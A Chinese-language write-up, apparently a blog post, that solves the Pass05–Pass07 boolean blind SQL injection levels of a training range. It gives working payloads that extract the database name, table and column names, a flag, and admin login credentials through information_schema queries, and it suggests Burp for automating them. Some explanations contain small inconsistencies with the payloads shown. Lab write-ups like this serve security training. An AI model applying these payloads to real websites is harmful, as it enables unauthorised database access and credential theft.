封神台靶场 | 布尔盲注 | Pass05-07

封神台靶场实战:布尔盲注解析与应用
本文介绍了封神台靶场中关于布尔盲注的实践,详细讲解了Pass05至Pass07的解题步骤,包括数据库名、库名、表名、字段名的猜测以及内容的解密。通过对SQL查询语句的分析,展示了如何通过盲注获取flag,并提及Pass06和Pass07的不同查询方法。同时,建议使用工具如brup提高效率。

封神台靶场 | 布尔盲注

题目地址: 掌控安全学院SQL注入靶场

文章目录

      Pass05
         盲注
         盲注查询步骤
      Pass06
      Pass07

任务
通过显错注入获得flag。
对该页面进行GET传参,传参名为id

Pass05

数据库查询语句:

select * from news where id=1
盲注:

1.查询到的数据只会显示有数据/没有结果
2.可以用ASCII进行猜测

盲注查询步骤:

1.数据库名字长度
2.数据库库名
3.表名长度
4.表名名字
5.字段名长度
6.字段名名字
7.猜内容

解盲注步骤详情
  • 数据库名长度
id=1 and length(database())=12 

从=1开始猜,,猜到正确的数值
正确数据库名长度:12

  • 数据库库名
id=1 and substr(database(),1,1)='k'

或者

id=1 and ascii(substr(database(),1,1))=107 

substr(database(),1,1) :从字符串“database()”的第一个字符开始取一个。
=号可以替换成<、>、<=、>=都是可以的。
正确数据库名: kanwolongxia

  • 表名长度
id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1))=6 
id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1))=4 
id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 2,1))=4 

正确长度:4、6

  • 表名名字
id=1 and ord(
substr(
(select table_name from information_schema.tables 
 where table_schema='kanwolongxia' limit 0,1)
,1,1)
)=108

正确表名:loflag、news、user

  • 字段名长度
id=1 and length(
(select table_name from information_schema.tables 
 where table_schema='kanwolongxia' limit 0,1)
)=6

loflag表下的正确字段名长度:2、6

  • 字段名名字
id=1 and substr(
(select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1)
,1,1
)='l'
id=1 and ord(
substr(
(select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1)
,1,1
))=108

猜测所需的flag在loflag表中
返回正常,说明loflag表中的列名称第一位是i

loflag表下的字段:id、flaglo

  • 猜内容
id=1 and (ascii(substr((select flaglo from loflag limit 0,1),1,1)))=122 

kanwolongxia这个数据库下的loflag表的第一个字段名的第一个字符的ascii码是否为150
limit 0,1 取的是表内第一行的数据。
substr(string,1,1)取得是第一行数据的第一个字符
要取第一行数据的第二个字符就修改成substr(string,2,1)。
要修改第几行数据就改 limit 0,1 中0的值,0指的是第一行数据,1指的是取1行。

Pass06

前面的内容如上,数据都是一样的,就是查询的方式不一样。

数据库查询语句:

select * from news where id="1"

思路:
查询方法与以上一致,只有sql拼接这里有所不同。
ps:这样的暴破可以使用工具来进行,提高效率。如:brup等。

正确的查询内容语句:
id=1

id=1" and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))="122

Pass07

数据库查询语句:

select * from user where username ='' and password=''

思路:
这里有一个用户登录注册的页面,通过输入账号密码查询是否登录成功。
利用以上的方法,猜出user表中的数据。

user:
– id
– username
– password

查询到的一条数据:
admin;asdasdd

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值